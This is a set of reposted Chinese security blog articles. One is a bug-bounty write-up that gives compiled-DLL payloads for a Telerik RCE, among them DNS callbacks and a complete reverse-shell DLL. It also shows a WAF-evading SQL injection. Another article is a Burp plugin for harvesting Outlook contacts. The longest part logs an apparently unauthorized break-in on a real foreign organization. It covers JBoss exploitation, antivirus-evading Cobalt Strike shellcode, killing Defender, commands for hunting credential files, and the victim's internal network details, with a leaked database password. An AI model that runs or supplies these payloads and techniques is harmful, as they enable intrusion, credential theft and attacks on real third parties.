功能测试功能测试方面,公司测试部门实现了自动化测试平台,前期我们并未使用agent的方式检测,一开始使用开源的gourdscan加上openrasp,利用openrasp的默认开启不拦截模式和漏洞记录功能来检测服务端无返回的漏洞。 只需要在自动化平台上配置代理IP: openrasp漏洞记录 后来测试反馈扫描的脏数据太多,效果也并不是很好,就放弃了此方案。改用开发阶段的IAST的插桩方式,同样在测试环境也和开发环境一样利用agent来检测问题。功能测试完成之后。由于测试人员对漏洞并不是太理解,所以定的流程为测试人员到平台查看报告和安全人员沟通哪些问题需要修复,然后将问题写入到测试报告 安全测试在测试阶段已经将安全加入到整个流程里面,所有需求更改完成都需要通过功能测试,也就是所有的流程过一遍安全测试,这样安全人手也不是很足,决定采用内外服务区分的办法来确定是否需要安全人员介入 漏洞管理漏洞管理这一块制定了漏洞管理制度,根据影响程度对漏洞进行评级,严重漏洞必须改完之后才能上线,高中低危漏洞且影响较小需要排期,安全人员定期跟踪漏洞修复情况。 五、 监控支付公司一般安全设备基本都有,这一块基本上将设备的syslog打到日志中心可视化,并定制对应的规则实现告警即可 六、结束语个人知识和经验不足对sdl的体系并不是很熟悉,没什么经验,所以只能做到目前的程度。后续还有许多地方可以优化,增加流程等。如果有什么好的建议欢迎交流 来源: https://xz.aliyun.com/t/5656
-
记一次web漏洞挖掘随笔
最近挖了一些漏洞。虽然重复了,但是有参考价值。这边给大家分享下。 漏洞重复还是很难受的,转念一想,人生从不是事事如人意的,漏洞重复忽略,不代表失败。先来后到很重要,出场顺序很重要。 1.某站rce 忽略理由:不在范围内 作者神父&me 感谢神父带我 测试域名:https://***.***:8089/ 同时存在CVE-2017-11357 CVE-2019-18935 CVE-2017-9248漏洞 漏洞利用exp下载地址: https://github.com/noperator/CVE-2019-18935 https://github.com/noperator/CVE-2019-18935.git 延迟11s:sleep 11s: 测试代码: test.c #include <windows.h> #include <stdio.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { if (fdwReason == DLL_PROCESS_ATTACH) //Sleep(10000); // Time interval in milliseconds. Sleep(11000); return TRUE; } test.c编译成amd642.dll文件 运行: python CVE-2019-18935.py -v 2017.1.228 -p payloads\amd642.dll -u https://***.****:8089/Telerik.Web.UI.WebResource.axd?type=rau 第一步验证成功,成功延迟11s左右,原始请求2s 测试命令执行: #include <windows.h> #include <stdio.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { if (fdwReason == DLL_PROCESS_ATTACH) system("cmd.exe /c nslookup rsmwe.dnslog.cn"); system("cmd.exe /c nslookup 2pstpep28u6vl9qrw0lhjwsr9if83x.burpcollaborator.net"); return TRUE; } test.c编译成amd642.dll文件 再次运行查看dnslog: 直接反弹shell,通用exp: #include <winsock2.h> #include <stdio.h> #include <windows.h> #pragma comment(lib, "ws2_32") #define HOST "{vps ip}" #define PORT {port} WSADATA wsaData; SOCKET Winsock; SOCKET Sock; struct sockaddr_in hax; char aip_addr[16]; STARTUPINFO ini_processo; PROCESS_INFORMATION processo_info; // Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%20Shell/shell.c void ReverseShell() { WSAStartup(MAKEWORD(2, 2), &wsaData); Winsock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); struct hostent *host = gethostbyname(HOST); strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr))); hax.sin_family = AF_INET; hax.sin_port = htons(PORT); hax.sin_addr.s_addr = inet_addr(aip_addr); WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); if (WSAGetLastError() == 0) { memset(&ini_processo, 0, sizeof(ini_processo)); ini_processo.cb = sizeof(ini_processo); ini_processo.dwFlags = STARTF_USESTDHANDLES; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock; char *myArray[4] = { "cm", "d.e", "x", "e" }; char command[8] = ""; snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]); CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info); } } DWORD WINAPI MainThread(LPVOID lpParam) { ReverseShell(); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { HANDLE hThread; if (fdwReason == DLL_PROCESS_ATTACH) hThread = CreateThread(0, 0, MainThread, 0, 0, 0); return TRUE; } 权限不低,是域用户: 2.sql注入: 背景介绍:朋友发来一个注入,这个注入还挺棘手的,有xx云的waf,并且后端过滤了逗号,单双引号以及常规函数等。 我的思路很简单,十六进制。regexp函数即可,我觉得应该还有别的思路 (case+when+current_user+regexp+0x*+then+1+else+2*1e308+end) 这样就把数据库user搞出来了。 这里我想说下case when这个语句,case when语句比我们想象的要灵活的多,这里做下笔记说下: 最常见的: 说点不常见的,我写两个demo,可以一直套娃下去: case 1=1 when 2=2 then 1=1 else 1/0 end 3.url跳转+身份认证token泄漏: 我昨天晚上挖的,忽略理由是重复。有时候对某些厂商还挺无语的,漏洞在那边,不修复。让我有种错觉,发现漏洞,有种踩到蜜罐的错觉。 资产范围是:vc-*.xxx.com 其实遇到这种范围,我还挺开心的,因为我可以Fuzz下,简单Fuzz了下,发现不少资产。 挨个打开看,访问:vc-ss.xxx.com,访问站点,直接跳转要求登录。 我不是神仙,我也没账号,我看着js,没发现可访问的路径信息。 开始fuzz,知道是php就很好办了。使用ffuf跑php/api字典,跑到了一个接口开发文档/api/***.html 接口开发文档设计本意是好的,但是大多数的接口开发文档上的截图信息/接口信息都可能有被二次漏洞利用风险。虽然截图信息都是明文,但是很不幸的是测试了下,发现几乎所有的接口,直接访问都是401,需要身份认证。些许无奈了,想放弃的时候,总是告诉自己,坚持看完看仔细。继续盯着接口文档一直翻来翻去,发现了一个身份token泄漏和其他一些安全漏洞。 整理漏洞提交了,早上就收到了重复的消息: 原文链接: https://www.cnblogs.com/piaomiaohongchen/p/17130283.html
-
一款OutLook信息收集工具
0x01 前言这是一款burp插件,用于Outlook用户信息收集,在已登录Outlook账号后,可以使用该 插件自动爬取所有联系人的信息 0x02 安装在burp扩展面板加载jar即可 0x03 功能介绍1.All Users加载插件后,进入Outlook联系人面板,点击All Users 在burp中 Proxy -> HTTP history 筛选api接口 /owa/service.svc?action=FindPeople&app=People 选中该请求,右键菜单 Extensions -> OutLook information collection -> Do OoutLook Email scan 会在 Extender -> Extensions -> OutLook information collection -> Output 中显示扫描进度 插件会自动爬取所有数据包并生成目录树,可以查看每一个请求响应包 右击该请求会弹出右键菜单,选择获取所有用户邮箱,即可获得所有的邮箱 2.注意 该Api会有大量相同url,不同的Post提交参数,如果选错了Api接口,会有弹窗提示 3.联系人信息 必须在加载 All Users的所有数据包才能正常使用,联系人信息基于All Users数据包信息,如果未进行第一步操作会有弹窗提醒 在burp中 Proxy -> HTTP history 筛选api接口 /owa/service.svc?action=GetPersona&app=People 选中该请求,右键菜单 Extensions -> OutLook information collection -> Do OoutLook Email scan 会在 Extender -> Extensions -> OutLook information collection -> Output 中显示扫描进度 插件会自动爬取所有数据包并生成目录树,可以查看每一个请求响应包 右击该请求会弹出右键菜单,选择获取 All User个人信息,可获取所有联系人信息 工具获取:公众号回复关键字“OutLook”
-
记一次内网横向免杀测试
工具准备jexboss Kali Linux CS 4.3 Windows杀软在线查询一 Windows杀软在线查询二 Windows杀软在线查询三 fscan 潮汐shellcode免杀 LSTAR CobaltStrike其他插件 PEASS-ng PrintSpoofer 外网打点1、为了练习内网横向,悄悄的盯上国外的站点 2、发现jboss网站存在反序列化漏洞,是呀jexboss无法利用成功 python jexboss.py -u https://xx.xx.xx/3、使用工具java反序列化终极测试工具 by 6哥成功利用 4、查看当前用户whoami,普通用户 5、查看IP地址ipconfig 6、查看是否有杀软tasklist /svc 7、将查询的内容粘贴到Windows杀软在线查询,发现存在杀软 8、查看服务器是否出网ping www.baidu.com,很不错,服务器出网 CS上线1、因为有杀软,我们要考虑绕过,直接上传CS木马肯定是不行的,本次绕过的是潮汐shellcode免杀,因为很多github上利用python打包的exe文件太大,上传很慢,而潮汐shellcode免杀文件较小,上传快。 2、CS先生成c语言的shellcode 3、将shellcode内容复制到潮汐网站上,生成的exe上传到目标机器,然后执行命令 C:\\usr\\desarrollo\\jboss-5.1.0.GA\\server\\sigAmeServer\\deploy\\ROOT.war\\TideAv-Go1-2023-02-04-10-31-21-221261.exe tide 4、CS成功上线 权限提升信息收集1、查看当前用户及特权 whoami whoami /priv 2、查看系统版本及补丁信息 systeminfo Nombre de host: AMEPROWEBEGAD Nombre del sistema operativo: Microsoft Windows 10 Pro Versi¢n del sistema operativo: 10.0.19044 N/D Compilaci¢n 19044 Fabricante del sistema operativo: Microsoft Corporation Configuraci¢n del sistema operativo: Estaci¢n de trabajo miembro Tipo de compilaci¢n del sistema operativo: Multiprocessor Free Propiedad de: appzusr Organizaci¢n registrada: Id. del producto: 00331-10000-00001-AA727 Fecha de instalaci¢n original: 13/5/2022, 14:03:47 Tiempo de arranque del sistema: 1/2/2023, 16:50:29 Fabricante del sistema: VMware, Inc. Modelo el sistema: VMware Virtual Platform Tipo de sistema: x64-based PC Procesador(es): 2 Procesadores instalados. [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2494 Mhz [02]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2494 Mhz Versi¢n del BIOS: Phoenix Technologies LTD 6.00, 12/11/2020 Directorio de Windows: C:\Windows Directorio de sistema: C:\Windows\system32 Dispositivo de arranque: \Device\HarddiskVolume1 Configuraci¢n regional del sistema: ezs-mx;Espa¤ol (M‚xico) Idioma de entrada: es-mx;Espa¤ol (M‚xico) Zona horaria: (UTC-06:00) Guadalajara, Ciudad de M‚xico, Monterrey Cantidad total de memoria f¡sica: 4.095 MB Memoria f¡sica disponible: 1.201 MB Memoria virtual: tama¤o m ximo: 4.799 MB Memoria virtual: disponible: 1.147 MB Memoria virtual: en uso: 3.652 MB Ubicaci¢n(es) de archivo de paginaci¢n: C:\pagefile.sys Dominio: ame.local Servidor de inicio de sesi¢n: \\AMEPROWEBEGAD Revisi¢n(es): 4 revisi¢n(es) instaladas. [01]: KB5004331 [02]: KB5003791 [03]: KB5006670 [04]: KB5005699 Tarjeta(s) de red: 1 Tarjetas de interfaz de red instaladas. z [01]: Intel(R) PRO/1000 MT Network Connection Nombre de conexi¢n: Ethernet0 DHCP habilitado: No Direcciones IP [01]: 172.16.2.100 [02]: fe80::591:ae09:eee1:888e Requisitos Hyper-V: Se detect¢ un hipervisor. No se mostrar n las caracter¡sticas necesarias para Hyper-V.3、查看开放的端口服务netstat -ano Conexiones activas Proto Direcci¢n local Direcci¢n remota Estado PID TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 600 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:1090 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:1098 0.0.0.0:0 LISTENING 7600 TCP z 0.0.0.0:1099 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1072 TCP 0.0.0.0:3873 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:4444 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:4445 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:4446 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:4457 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:4712 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:4713 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 6652 TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:7070 0.0.0.0:0 LISTENING 3564 TCP 0.0.0.0:8009 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:8080 0.0.0.0:0 z LISTENING 7600 TCP 0.0.0.0:8083 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:46305 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 832 TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 680 TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1416 TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1612 TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 2452 TCP 0.0.0.0:49671 0.0.0.0:0 LISTENING 832 TCP 0.0.0.0:49672 0.0.0.0:0 LISTENING 3404 TCP 0.0.0.0:49704 0.0.0.0:0 LISTENING 820 TCP 0.0.0.0:49708 0.0.0.0:0 LISTENING 3048 TCP 0.0.0.0:51407 0.0.0.0:0 LISTENING 7600 TCP 127z.0.0.1:5140 0.0.0.0:0 LISTENING 7172 TCP 127.0.0.1:51411 0.0.0.0:0 LISTENING 7600 TCP 172.16.2.100:139 0.0.0.0:0 LISTENING 4 TCP 172.16.2.100:8080 172.16.12.34:42602 TIME_WAIT 0 TCP 172.16.2.100:8080 172.16.12.34:42610 ESTABLISHED 7600 TCP 172.16.2.100:8080 172.16.12.34:55672 TIME_WAIT 0 TCP 172.16.2.100:8080 172.16.12.34:55686 TIME_WAIT 0 TCP 172.16.2.100:49717 38.90.226.62:8883 ESTABLISHED 3576 TCP 172.16.2.100:50848 172.16.2.100:51407 TIME_WAIT 0 TCP 172.16.2.100:51413 172.16.2.190:1433 ESTABLISHED 7600 TCP 172.16.2.100:51447 172.16.2.190:1433 ESTABLISHED 7600 TCP 172.16.2.100:56063 172.16.2.11:2222 ESTABLISHED 3576 TCP 172.16.2.100:56538 92.223.66.48:443 ESTABLISHED 3564 TCP [::]:135 [::]:0 LISTENINzG 600 TCP [::]:445 [::]:0 LISTENING 4 TCP [::]:1090 [::]:0 LISTENING 7600 TCP [::]:1098 [::]:0 LISTENING 7600 TCP [::]:1099 [::]:0 LISTENING 7600 TCP [::]:3389 [::]:0 LISTENING 1072 TCP [::]:3873 [::]:0 LISTENING 7600 TCP [::]:4444 [::]:0 LISTENING 7600 TCP [::]:4445 [::]:0 LISTENING 7600 TCP [::]:4446 [::]:0 LISTENING 7600 TCP [::]:4457 [::]:0 LISTENING 7600 TCP [::]:4712 [::]:0 LISTENING 7600 TCP [::]:4713 [::]:0 LISTENING 7600 TCP [::]:5985 [::]:0 LISTENING 4 TCP [::]:8009 z [::]:0 LISTENING 7600 TCP [::]:8080 [::]:0 LISTENING 7600 TCP [::]:8083 [::]:0 LISTENING 7600 TCP [::]:46305 [::]:0 LISTENING 7600 TCP [::]:47001 [::]:0 LISTENING 4 TCP [::]:49664 [::]:0 LISTENING 832 TCP [::]:49665 [::]:0 LISTENING 680 TCP [::]:49666 [::]:0 LISTENING 1416 TCP [::]:49667 [::]:0 LISTENING 1612 TCP [::]:49668 [::]:0 LISTENING 2452 TCP [::]:49671 [::]:0 LISTENING 832 TCP [::]:49672 [::]:0 LISTENING 3404 TCP [::]:49704 [::]:0 LISTENING 820 TCP [::]:49708 [::]:0 LISTENING 30z48 TCP [::]:51407 [::]:0 LISTENING 7600 UDP 0.0.0.0:123 *:* 1268 UDP 0.0.0.0:500 *:* 3040 UDP 0.0.0.0:3389 *:* 1072 UDP 0.0.0.0:4500 *:* 3040 UDP 0.0.0.0:5050 *:* 6652 UDP 0.0.0.0:5353 *:* 1432 UDP 0.0.0.0:5355 *:* 1432 UDP 0.0.0.0:50001 *:* 3564 UDP 0.0.0.0:50007 *:* 1240 UDP 0.0.0.0:56152 *:* 1240 UDP 0.0.0.0:61593 *:* 1240 UDP 0.0.0.0:64843 *:* 1240 UDP 127.0.0.1:1900 *z:* 2876 UDP 127.0.0.1:50434 *:* 832 UDP 127.0.0.1:55588 *:* 2876 UDP 127.0.0.1:65220 *:* 1868 UDP 127.0.0.1:65222 *:* 2360 UDP 172.16.2.100:137 *:* 4 UDP 172.16.2.100:138 *:* 4 UDP 172.16.2.100:1900 *:* 2876 UDP 172.16.2.100:55587 *:* 2876 UDP [::]:123 *:* 1268 UDP [::]:500 *:* 3040 UDP [::]:3389 *:* 1072 UDP [::]:4500 *:* 3040 UDP [::]:5353 *:* 1432 z UDP [::]:5355 *:* 1432 UDP [::1]:1900 *:* 2876 UDP [::1]:55586 *:* 2876 UDP [fe80::591:ae09:eee1:888e%13]:1900 *:* 2876 UDP [fe80::591:ae09:eee1:888e%13]:55585 *:* 28764、查看网卡信息shell ipconfig /all Configuración IP de Windows Nombre de host. . . . . . . . . : AMEPROWEBEGAD Sufijo DNS principal . . . . . : ame.local Tipo de nodo. . . . . . . . . . : híbrido Enrutamiento IP habilitado. . . : no Proxy WINS habilitado . . . . . : no Lista de búsqueda de sufijos DNS: ame.local Adaptador de Ethernet Ethernet0: Sufijo DNS específico para la conexión. . : Descripción . . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection Dirección física. . . . . . . . . . . . . : 00-50-56-B2-9D-FE DHCP habilitado . . . . . . . . . . . . . : no Configuración automática habilitada . . . : sí Vínculo: dirección IPv6 local. . . : fe80::591:ae09:eee1:888e%13(Preferido) Dirección IPv4. . . . . . . . . . . . . . : 172.16.2.100(Preferido) Máscara de subred . . . . . . . . . . . . : 255.255.255.0 Puerta de enlace predeterminada . . . . . : 172.16.2.254 IAID DHCPv6 . . . . . . . . . . . . . . . : 100683862 DUID de cliente DHCPv6. . . . . . . . . . : 00-01-00-01-2A-10-71-A7-00-50-56-B2-9D-FE Servidores DNS. . . . . . . . . . . . . . : 172.16.2.20 10.0.0.1 NetBIOS sobre TCP/IP. . . . . . . . . . . : habilitado 5、路由表信息shell arp -a Interfaz: 172.16.2.100 --- 0xd Dirección de Internet Dirección física Tipo 172.16.2.11 00-50-56-b2-ac-66 dinámico 172.16.2.20 00-50-56-b2-d2-30 dinámico 172.16.2.150 00-90-a9-d6-91-01 dinámico 172.16.2.190 00-50-56-b2-99-b0 dinámico 172.16.2.254 00-00-5e-00-01-02 dinámico 172.16.2.255 ff-ff-ff-ff-ff-ff estático 224.0.0.22 01-00-5e-00-00-16 estático 224.0.0.251 01-00-5e-00-00-fb estático 224.0.0.252 01-00-5e-00-00-fc estático 239.255.255.250 01-00-5e-7f-ff-fa estático 6、是否存在域环境shell systeminfo,确实存在域环境 CS自带插件提权1、首先使用CS自带插件提权,无法提权成功,且提权后,CS就失去主机控制,应该是提权进程被杀软发现(包括第三方提权插件都不行)。 结束杀软进程1、我们来尝试一下是否可以关闭杀软,通过上面信息知道杀软进程名MsMpEng.exe,通过进程对比可以发现,杀软已经被我们关闭了。 tskill MsMpEng tasklist /svc Windows-Exploit-Suggester1、安装更新脚本 python2 -m pip install --user xlrd==1.1.0 python2 windows-exploit-suggester.py --update2、将上面收集的systeminfo内容复制到systeminfo.txt,查找对应的漏洞 python2 ./windows-exploit-suggester.py --database 2023-02-06-mssb.xls --systeminfo systeminfo.txt 3、将查找的exp上传测试提权,发现都不成功。 PEASS-ng1、上传到目标机器,无法执行,被杀软发现了,虽然已经关闭杀软进程,但是过一会,杀软自启动 winPEASany.exe log=result.txt 查看SAM密码文件1、SAM密码文件位置 system文件位置:C:\Windows\System32\config\SYSTEM sam文件位置:C:\Windows\System32\config\SAM2、由于不是管理员账号,无法查看 windows敏感文件1、查看最近打开的文档 dir %APPDATA%\Microsoft\Windows\Recent2、递归搜索后面文件的password字段 findstr /si password config.* *.ini *.txt *.properties3、递归查找当前目录包含conf的文件 dir /a /s /b "*conf*" > 1.txt4、递归查找目录下的txt中的password字段 findstr /s /i /c:"Password" 目录\*.txt5、递归查找目录下的敏感文件输出到桌面123.txt中 for /r 目录 %i in (account.docx,pwd.docx,login.docx,login*.xls) do @echo %i >> C:\tmp\123.txt6、指定目录搜索各类敏感文件 dir /a /s /b d:\"*.txt" dir /a /s /b d:\"*.xml" dir /a /s /b d:\"*.mdb" dir /a /s /b d:\"*.sql" dir /a /s /b d:\"*.mdf" dir /a /s /b d:\"*.eml" dir /a /s /b d:\"*.pst" dir /a /s /b d:\"*conf*" dir /a /s /b d:\"*bak*" dir /a /s /b d:\"*pwd*" dir /a /s /b d:\"*pass*" dir /a /s /b d:\"*login*" dir /a /s /b d:\"*user*"7、收集各类账号密码信息 findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bakPrintSpoofer提权1、执行命令PrintSpoofer.exe -i -c cmd无法提权 PrintSpoofer.exe -i -c cmd 横向渗透fscan扫描1、上传fscan,执行shell "C:/Users/appusr/fscan64.exe" -h 172.16.2.1/24,发现存活35个IP,扫出很多网站 (icmp) Target 172.16.2.5 is alive (icmp) Target 172.16.2.9 is alive (icmp) Target 172.16.2.11 is alive (icmp) Target 172.16.2.20 is alive (icmp) Target 172.16.2.37 is alive (icmp) Target 172.16.2.38 is alive (icmp) Target 172.16.2.45 is alive (icmp) Target 172.16.2.46 is alive (icmp) Target 172.16.2.47 is alive (icmp) Target 172.16.2.32 is alive (icmp) Target 172.16.2.33 is alive (icmp) Target 172.16.2.31 is alive (icmp) Target 172.16.2.60 is alive (icmp) Target 172.16.2.70 is alive (icmp) Target 172.16.2.72 is alive (icmp) Target 172.16.2.80 is alive (icmp) Target 172.16.2.81 is alive (icmp) Target 172.16.2.86 is alive (icmp) Target 172.16.2.84 is alive (icmp) Target 172.16.2.85 is alive (icmp) Target 172.16.2.82 is alive (icmp) Target 172.16.2.100 is alive (icmp) Target 172.16.2.111 is alive (icmp) Target 172.16.2.117 is alive (icmp) Target 172.16.2.120 is alive (icmp) Target 172.16.2.83 is alive (icmp) Target 172.16.2.138 is alive (icmp) Target 172.16.2.146 is alive (icmp) Target 172.16.2.150 is alive (icmp) Target 172.16.2.170 is alive (icmp) Target 172.16.2.190 is alive (icmp) Target 172.16.2.195 is alive (icmp) Target 172.16.2.200 is alive (icmp) Target 172.16.2.87 is alive (icmp) Target 172.16.2.254 is alive [*] Icmp alive hosts len is: 35 172.16.2.38:22 open 172.16.2.120:21 open 172.16.2.20:22 open 172.16.2.37:22 open 172.16.2.150:21 open 172.16.2.117:22 open 172.16.2.82:22 open 172.16.2.111:22 open 172.16.2.81:22 open 172.16.2.72:22 open 172.16.2.70:22 open 172.16.2.45:21 open 172.16.2.60:22 open 172.16.2.37:80 open 172.16.2.11:80 open 172.16.2.200:22 open 172.16.2.83:22 open 172.16.2.150:22 open 172.16.2.170:22 open 172.16.2.146:22 open 172.16.2.138:22 open 172.16.2.120:80 open 172.16.2.84:80 open 172.16.2.81:80 open 172.16.2.85:80 open 172.16.2.86:80 open 172.16.2.70:80 open 172.16.2.60:80 open 172.16.2.87:22 open 172.16.2.11:135 open 172.16.2.20:135 open 172.16.2.5:135 open 172.16.2.83:80 open 172.16.2.200:80 open 172.16.2.170:80 open 172.16.2.82:80 open 172.16.2.117:80 open 172.16.2.11:139 open 172.16.2.20:139 open 172.16.2.9:139 open 172.16.2.5:139 open 172.16.2.195:135 open 172.16.2.190:135 open 172.16.2.100:135 open 172.16.2.84:135 open 172.16.2.195:139 open 172.16.2.190:139 open 172.16.2.170:139 open 172.16.2.150:139 open 172.16.2.120:139 open 172.16.2.100:139 open 172.16.2.84:139 open 172.16.2.60:139 open 172.16.2.84:443 open 172.16.2.85:443 open 172.16.2.86:443 open 172.16.2.80:443 open 172.16.2.72:443 open 172.16.2.70:443 open 172.16.2.60:443 open 172.16.2.11:443 open 172.16.2.87:443 open 172.16.2.9:445 open 172.16.2.5:445 open 172.16.2.170:443 open 172.16.2.83:443 open 172.16.2.120:443 open 172.16.2.82:443 open 172.16.2.81:443 open 172.16.2.170:445 open 172.16.2.150:445 open 172.16.2.120:445 open 172.16.2.100:445 open 172.16.2.84:445 open 172.16.2.60:445 open 172.16.2.20:445 open 172.16.2.11:445 open 172.16.2.5:5432 open 172.16.2.138:3306 open 172.16.2.38:3306 open 172.16.2.195:1433 open 172.16.2.190:1433 open 172.16.2.11:1433 open 172.16.2.195:445 open 172.16.2.190:445 open 172.16.2.100:8080 open 172.16.2.45:8080 open 172.16.2.9:135 open 172.16.2.86:8000 open 172.16.2.80:80 open 172.16.2.200:5432 open 172.16.2.111:5432 open 172.16.2.120:8080 open 172.16.2.150:9000 open 172.16.2.9:5432 open 172.16.2.85:8000 open [+] received output: 172.16.2.20:88 open [+] received output: 172.16.2.100:1099 open 172.16.2.80:2020 open 172.16.2.11:3128 open 172.16.2.120:3128 open [+] received output: 172.16.2.11:7070 open 172.16.2.70:7070 open 172.16.2.100:7070 open 172.16.2.84:7070 open 172.16.2.100:8009 open [+] received output: 172.16.2.120:8081 open 172.16.2.100:8083 open 172.16.2.80:8084 open [+] received output: 172.16.2.72:8200 open 172.16.2.86:8300 open 172.16.2.85:8300 open 172.16.2.20:8443 open [+] received output: 172.16.2.86:9080 open 172.16.2.85:9080 open 172.16.2.80:9084 open 172.16.2.80:9087 open [+] received output: 172.16.2.150:9443 open 172.16.2.84:10001 open 172.16.2.84:10002 open [+] received output: [*] alive ports len is: 120 start vulscan [*] NetInfo: [*]172.16.2.100 [->]AMEPROWEBEGAD [->]172.16.2.100 [*] NetInfo: [*]172.16.2.84 [->]ame-ro-nas [->]172.16.2.84 [*] NetInfo: [*]172.16.2.5 [->]db_ame [->]172.16.2.5 [*] NetInfo: [*]172.16.2.9 [->]backu [->]172.16.2.9 [*] NetInfo: [*]172.16.2.11 [->]Srv-Ant-Kas1 [->]172.16.2.11 [*] WebTitle: https://172.16.2.11 code:200 len:102 title:None [*] 172.16.2.9 (Windows Server 2003 3790 Service Pack 2) [*] WebTitle: http://172.16.2.117 code:200 len:10918 title:Apache2 Ubuntu Default Page: It works [*] NetBios: 172.16.2.190 AMEPRODBSIG01.ame.local Windows Server 2016 Standard 14393 [*] NetBios: 172.16.2.11 Srv-Ant-Kas1.ame.local Windows Server 2012 Standard 9200 [*] NetBios: 172.16.2.9 backup.ame.local Windows Server 2003 3790 Service Pack 2 [*] WebTitle: https://172.16.2.82 code:302 len:222 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.82/restgui/start.html [*] WebTitle: http://172.16.2.120:3128 code:400 len:3157 title:ERROR: The requested URL could not be retrieved [*] WebTitle: http://172.16.2.200 code:403 len:4897 title:Apache HTTP Server Test Page powered by CentOS [*] WebTitle: http://172.16.2.84 code:401 len:0 title:None [*] WebTitle: https://172.16.2.87 code:200 len:83 title:None [+] Postgres:172.16.2.200:5432:postgres 123456 [*] WebTitle: http://172.16.2.80 code:301 len:0 title:None ÞÀ│Þ¢¼url: https://172.16.2.80:443/ [*] WebTitle: http://172.16.2.82 code:302 len:208 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.82:443/ [*] 172.16.2.100 (Windows 10 Pro 19044) [*] WebTitle: http://172.16.2.11 code:302 len:0 title:None ÞÀ│Þ¢¼url: https://172.16.2.11/ [*] WebTitle: http://172.16.2.83 code:302 len:208 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.83:443/ [*] WebTitle: http://172.16.2.86 code:301 len:56 title:None ÞÀ│Þ¢¼url: https://172.16.2.86/ [*] WebTitle: http://172.16.2.81 code:302 len:208 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.81:443/ [*] WebTitle: http://172.16.2.100:8083 code:404 len:0 title:None [*] NetBios: 172.16.2.195 AMEPRODBSIG01P.ame.local Windows Server 2016 Standard 14393 [*] WebTitle: http://172.16.2.11:3128 code:404 len:196 title:404 Not Found [*] WebTitle: https://172.16.2.83 code:302 len:222 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.83/restgui/start.html [*] WebTitle: https://172.16.2.86 code:200 len:258 title:None [*] WebTitle: https://172.16.2.70 code:200 len:4149 title:Management [*] WebTitle: http://172.16.2.150:9000 code:200 len:3509 title:Twonky Server [*] WebTitle: https://172.16.2.85 code:200 len:258 title:None [*] WebTitle: http://172.16.2.70 code:302 len:265 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.70/ [*] WebTitle: https://172.16.2.20:8443 code:302 len:83 title:None ÞÀ│Þ¢¼url: https://172.16.2.20:8443/Login/Index [*] WebTitle: https://172.16.2.72 code:301 len:84 title:None ÞÀ│Þ¢¼url: https://172.16.2.72/appwall-webui [*] WebTitle: https://172.16.2.80 code:200 len:3618 title:" + ID_VC_Welcome + " [*] WebTitle: https://172.16.2.81 code:302 len:222 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.81/restgui/start.html [*] WebTitle: http://172.16.2.120 code:200 len:553 title:None [*] WebTitle: http://172.16.2.37 code:302 len:0 title:None ÞÀ│Þ¢¼url: http://172.16.2.37/app_Login [*] WebTitle: https://172.16.2.80:8084 code:501 len:0 title:None [*] NetBios: 172.16.2.170 AME\SYNOLOGYAME [*] WebTitle: https://172.16.2.86:9080 code:202 len:0 title:None [*] WebTitle: https://172.16.2.120 code:200 len:553 title:None [*] WebTitle: https://172.16.2.120:8081 code:403 len:266 title:403 Forbidden [*] WebTitle: https://172.16.2.80:9087 code:404 len:103 title:None [*] WebTitle: http://172.16.2.80:9084 code:404 len:103 title:None [*] WebTitle: http://172.16.2.45:8080 code:303 len:0 title:None ÞÀ│Þ¢¼url: http://172.16.2.45:8080/home.htm [*] WebTitle: https://172.16.2.60 